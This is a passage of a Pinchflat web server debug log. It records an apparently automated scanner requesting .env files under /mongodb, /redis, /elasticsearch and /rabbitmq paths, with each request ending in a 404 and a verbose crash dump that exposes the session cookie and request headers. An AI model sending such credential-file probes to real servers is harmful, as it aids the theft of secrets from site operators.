"GMUk673mzwgCWeEAATDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mongodb/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 196, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mongodb/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mongodb/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 196, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:22.318 [info] GET /redis/.env 02:10:22.319 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=198.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.320 [debug] QUERY OK source="settings" db=0.2ms idle=138.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.320 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.321 [error] #PID<0.3501.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 197) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /redis/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /redis/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/redis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 197, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3501.0>, params: %{}, path_info: ["redis", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/redis/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk68JSdPajOjYAATEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/redis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 197, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /redis/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/redis/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 197, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:22.383 [info] GET /elasticsearch/.env 02:10:22.384 [debug] QUERY OK source="settings" db=0.2ms idle=201.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.384 [debug] QUERY OK source="settings" db=0.1ms idle=138.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.384 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.384 [error] #PID<0.3502.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 198) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /elasticsearch/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /elasticsearch/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elasticsearch/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 198, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3502.0>, params: %{}, path_info: ["elasticsearch", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/elasticsearch/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk68YzPAoVcnMAATFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elasticsearch/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 198, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /elasticsearch/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/elasticsearch/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 198, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:22.452 [info] GET /rabbitmq/.env 02:10:22.453 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=206.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.453 [debug] QUERY OK source="settings" db=0.2ms idle=134.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.454 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.454 [error] #PID<0.3503.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 199) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /rabbitmq/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rabbitmq/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rabbitmq/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 199, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3503.0>, params: %{}, path_info: ["rabbitmq", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/rabbitmq/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk68pK3gqS_n0AATGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rabbitmq/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 199, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /rabbitmq/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/rabbitmq/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 